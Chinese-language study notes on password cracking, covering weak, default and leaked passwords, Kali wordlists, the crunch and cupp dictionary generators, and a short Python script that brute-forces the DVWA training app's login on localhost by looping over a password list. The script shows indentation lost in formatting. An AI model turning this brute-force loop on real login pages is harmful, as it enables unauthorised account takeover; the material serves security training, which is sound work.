什么是密码
密码是一种特殊的信息保护和安全认证技术,它通过特定的变换方法对信息进行加密保护。
密码的作用
加密、完整性、身份认证(口令)
密码安全分类
存储安全、传输安全、输入安全(登录界面)
漏洞利用
1、从数据库获取密码,然后解密
2、窃听通信数据数据,然后解密
3、直接从登录框猜测密码
不安全的密码
默认密码、弱口令、裤子
默认密码
000000、123456、空密码、身份证号后六位、手机号后六位
弱口令
简单的密码,能简易被爆破工具破解的口令
裤子
已经网络上泄露的密码,称为(脱裤)
密码猜解思路
猜测范围:
1、密码的长度
2、密码的内容(0-9、a-z、A-Z、!@#$%^&*空格)
字典wordlist
通用字典(word list、dict)
Kali自带
kali(cd /usr/share)
里面包含wordlists和wfuzz文件夹
wordlists-----目录扫描的字典
wfuzz-----密码的字典
专用字典:
1.指定格式字典:crunch
2.社工字典:cupp、ccupp
kali crunch
基本命令使用
密码暴力拆解流程
确定范围:长度、内容
字典使用:通用字典、指定格式、社工字典 使用
使用代码或者工具进行拆解
密码暴力破解的本质
1.连续性地尝试
2.使用字典
3.使用代码及工具进行
python实现暴力破解思路
1、从字典读取值,生成密码
2、HTTP连接到需要暴破的地址
3、获得HTTP响应,分析响应结果,看看有没有错误提示“Username and/or password incorrect.”
4、如果有提示,就继续下一次循环
5、如果没有,就代表暴破成功
import requests
pwds = open("password.txt")
for pwd in pwds:
url = "http://localhost/dvwa/vulnerabilities/brute/"
# PHPSESSID务必替换为登录以后的PHPSESSID
resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=himu84h1ia6vsvklt76c9juhqd"})
#print(resp.text)
if 'Username and/or password incorrect.' in resp.text:
print('破解失败:'+pwd, end='')
else:
print('破解成功:'+pwd, end='')
break;
pwds.close()